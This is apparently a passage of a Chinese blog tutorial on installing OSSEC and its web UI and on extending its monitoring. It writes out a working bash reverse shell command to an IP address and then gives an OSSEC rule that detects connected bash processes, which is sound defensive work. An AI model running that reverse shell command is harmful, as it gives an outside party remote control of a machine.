# tar zxf apr-1.5.2.tar.gz
# cd apr-1.5.2
# ./configure --prefix=/usr/local/apr
# make && make install
3)安装apr-util(version>=1.4+)
# wget http://mirrors.tuna.tsinghua.edu.cn/apache/apr/apr-util-1.5.4.tar.gz
# tar zxf apr-util-1.5.4.tar.gz
# cd apr-util-1.5.4
# ./configure --prefix=/usr/local/apr-util --with-apr=/usr/local/apr
# make && make install
4) 安装httpd-2.4.27
# cd httpd-2.4.27
# ./configure --prefix=/usr/local/apache --with-apr=/usr/local/apr --with-apr-util=/usr/local/apr-util --enable-dav --enable-s
# make && make install
[root@localhost tmp]# wget https://github.com/ossec/ossec-wui/archive/0.9.tar.gz
[{\tt root@localhost~tmp}] \#~{\tt tar~zxvf~ossec-wui-0.9.tar.gz}
[root@localhost tmp]# mv ossec-wui-0.9 /var/www/html/ossec-wui
[root@localhost tmp]# cd /var/www/html/ossec-wui
[root@localhost ossec-wui]# ./setup.sh
Setting up ossec ui...
Username: vincent
New password:
Re-type new password:
Adding password for user vincent
Enter your web server user name (e.g. apache, www, nobody, www-data, \dots)
apache
You must restart your web server after this setup is done.
```

0x05 监控扩展

综合上述OSSEC的一些功能点,我们可以扩展一些其他的监控进来,通过OSSEC告警。这里我举几个例子:

1) 存在连接的Bash进程

通常情况下Bash进程是不会存在连接状态的,其父进程SSHD存在网络连接,如下:

[root@sec248 cron.daily]# ps -ef | grep bash | grep -v grep

root 41011 41009 0 08:42 pts/4 00:00:00 -bash

root 45984 45982 0 Dec21 pts/1 00:00:00 -bash

[root@sec248 cron.daily]# netstat -antlp | grep sshd | grep EST

tcp 0 64 10.59.0.248:22 192.168.190.201:52947 ESTABLISHED 41009/sshd

tcp 0 0 10.59.0.248:22 192.168.190.201:2164 ESTABLISHED 45982/sshd

而反弹shell时,反弹命令

bash -i >& /dev/tcp/192.168.192.144/2345 0>&1■

我们看一下反弹连接

[root@server120 ~]# netstat -antlp | grep bash

tcp 0 0 192.168.192.120:34710 192.168.192.144:2345 ESTABLISHED 15497/bash

可以看到存在Bash连接,那么我们添加OSSEC的监控项

<localfile>

<log_format>full_command</log_format>

<command>netstat -antlp | grep ESTABLISHED | egrep '/(bash|sh)'</command>

</localfile>

待补充

- 2) ssdeep检测webshell
- 3) Auditd监控Web中间件
- 4) ClamAV查杀部署

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1. 2条回复



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vinc 2018-02-01 15:36:14

@icerainow 这不是枪王吗

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